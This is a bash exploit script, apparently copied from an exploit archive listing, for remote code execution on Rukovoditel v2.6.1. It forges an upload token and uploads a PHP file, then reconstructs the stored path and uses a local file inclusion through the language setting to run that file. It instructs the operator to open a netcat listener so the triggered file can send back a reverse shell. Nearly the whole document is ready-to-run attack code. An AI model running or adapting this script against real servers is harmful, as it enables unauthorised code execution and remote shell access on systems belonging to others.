Exploit for Rukovoditel 2.6.1 Shell Upload / Local File Inclusion

## https://sploitus.com/exploit?id=PACKETSTORM:160449
# Exploit Title: Rukovoditel v2.6.1, RCE  
# Date: 2020-06-11  
# Exploit Author: coiffeur  
# Write Up: https://therealcoiffeur.github.io/c1010  
# Vendor Homepage: https://www.rukovoditel.net/  
# Software Link: https://www.rukovoditel.net/download.php  
# Version: v2.6.1  
  
set -e  
  
function usage () {  
echo "NAME: Rukovoditel v2.6.1, RCE"  
echo "SYNOPSIS: ./rce_2.6.1.sh <BASE_URL> <SID>"  
echo "DESCRIPTION:"  
echo "Upload file test.php on the remote server and trigger the file using a LFI"  
echo "AUTHOR: coiffeur"  
exit  
}  
  
if [ "$#" -ne 2 ]; then  
usage  
fi  
  
BASE_URL=$1  
SID=$2  
echo "Setting target: $BASE_URL"  
echo "Setting sid: $SID"  
  
echo ""  
  
echo "Extracting \$app_user['id']:"  
APP_USER_ID=`curl -s "$BASE_URL/index.php?module=users/account" -H "Cookie: sid=$SID" | grep "validate_form&id=" | cut -d '=' -f 3 | cut -d "'" -f 1`  
echo " => \$app_user['id']: $APP_USER_ID"  
  
echo "Setting arbitrary \$_POST['timestamp']:"  
TIMESTAMP=1337  
echo " => \$_POST['timestamp']: 1337"  
  
echo "Calculating \$verifyToken:"  
VERIFY_TOKEN=`echo -n "$APP_USER_ID$TIMESTAMP" | md5sum | cut -d ' ' -f 1`  
echo " => \$verifyToken: $VERIFY_TOKEN"  
  
echo ""  
  
echo "[*] Trying to upload test.php ... (Arbitrary File Upload)"  
curl "$BASE_URL/index.php?module=users/account&action=attachments_upload" -H "Cookie: sid=$SID" -F "timestamp=$TIMESTAMP" -F "token=$VERIFY_TOKEN" -F 'Filedata=@test.php'  
  
echo ""  
  
echo "[*] Trying to recover time() output:"  
TIME=$(date -d "`curl -si "$BASE_URL" | grep "Date:" | sed 's/Date: //'`" +%s)  
echo " => timestamp: $TIME"  
  
echo "[*] Trying to recover the generated filename:"   
FILENAME=` echo -n $TIME"_test.php" | sha1sum | cut -d ' ' -f 1`  
echo " => filename: $FILENAME"  
  
echo "[*] Trying to reconstructing full path:"  
DATE=`date +"%Y/%m/%d"`  
FULL_PATH=`echo -n "uploads/attachments/$DATE/$FILENAME"`  
echo " => full path: $FULL_PATH"  
  
echo ""  
  
echo "[!] Prepare a netcat listener by typing: nc -lvp 4444"  
  
echo ""  
  
echo "[*] Trying to update language settings ... (Local File Inclusion)"  
LANGUAGE="../../$FULL_PATH"  
curl -s "$BASE_URL/index.php?module=users/account&action=update" -H "Cookie: sid=$SID" -d "fields[13]=$LANGUAGE"  
  
echo "[*] Triggering reverse shell ..."  
curl -s "$BASE_URL/index.php?module=users/account" -H "Cookie: sid=$SID"  
  
echo "[*] Restoring default language settings"  
curl -s "$BASE_URL/index.php?module=users/account&action=update" -H "Cookie: sid=$SID" -d "fields[13]=english.php"  
echo "> Done"